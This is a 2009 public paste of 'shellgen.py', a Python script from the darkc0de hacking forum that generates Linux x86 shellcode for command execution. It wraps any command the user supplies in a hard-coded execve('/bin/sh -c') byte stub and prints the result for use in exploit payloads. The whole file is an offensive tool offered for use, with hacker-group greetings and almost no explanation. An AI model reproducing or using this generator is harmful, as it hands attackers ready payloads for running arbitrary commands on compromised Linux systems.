Guest
Public paste!

Lessiem

By: a guest | Jun 19th, 2009 | Syntax: Python | Size: 2.33 KB | Hits: 27 | Expires: Never
Copy text to clipboard
  1. #!/usr/bin/python
  2. ################################################################
  3. #       .___             __          _______       .___        #
  4. #     __| _/____ _______|  | __ ____ \   _  \    __| _/____    #
  5. #    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   #
  6. #   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   #
  7. #   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   #
  8. #        \/                  \/             \/                 #
  9. #                   ___________   ______  _  __                #
  10. #                 _/ ___\_  __ \_/ __ \ \/ \/ /                #
  11. #                 \  \___|  | \/\  ___/\     /                 #
  12. #                  \___  >__|    \___  >\/\_/                  #
  13. #      est.2007        \/            \/   forum.darkc0de.com   #
  14. ################################################################
  15. #Greetz to all darkc0de and Zone-Hacker member
  16. #Shoutz to d3hydr8,lowlz,p47r1ck,r45c4l,smith,dalsim,baltazar
  17. #Original Idea took from Milw0rm (Thanks Str0ke)
  18. import sys,os,string
  19.  
  20. if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
  21.         SysCls = 'clear'
  22. elif sys.platform == 'win32' or sys.platform == 'dos' or sys.platform[0:5] == 'ms-dos':
  23.         SysCls = 'cls'
  24. else:
  25.         SysCls = 'unknown'
  26.  
  27. os.system(SysCls)
  28. print "\n|---------------------------------------------------------------|"
  29. print "| beenudel1986[@]gmail[dot]com                                  |"
  30. print "| Command Execution Shell Generator(linux)                      |"
  31. print "|   17/2009      shellgen.py                                    |"
  32. print "|   Do Visit     www.BeenuArora.com      &        darkc0de.com  |"
  33. print "|   Generates Shell Code for system Commands                    |"
  34. print "|---------------------------------------------------------------|\n"
  35.  
  36. if len(sys.argv) < 2:
  37.         print "\nUsage: ./shellgen.py <command>"
  38.         print "Ex: ./shellgen.py ls\n"
  39.         sys.exit(1)
  40.  
  41. command=sys.argv[1]
  42. code ="\\x60\\x31\\xc0\\x31\\xd2\\xb0\\x0b\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x52\\x68\\x2d\\x63\\x63\\x63 \\x89\\xe1\\x52\\xeb\\x07\\x51\\x53\\x89\\xe1\\xcd\\x80\\x61\\xe8\\xf4\\xff\\xff\\xff"
  43. for payload in command:
  44.         hexshell=hex( ord(payload))
  45.         attachshell="\\"+hexshell[1:]
  46.         code+=attachshell
  47.  
  48. print "\n Generated Shell. \n"
  49. print code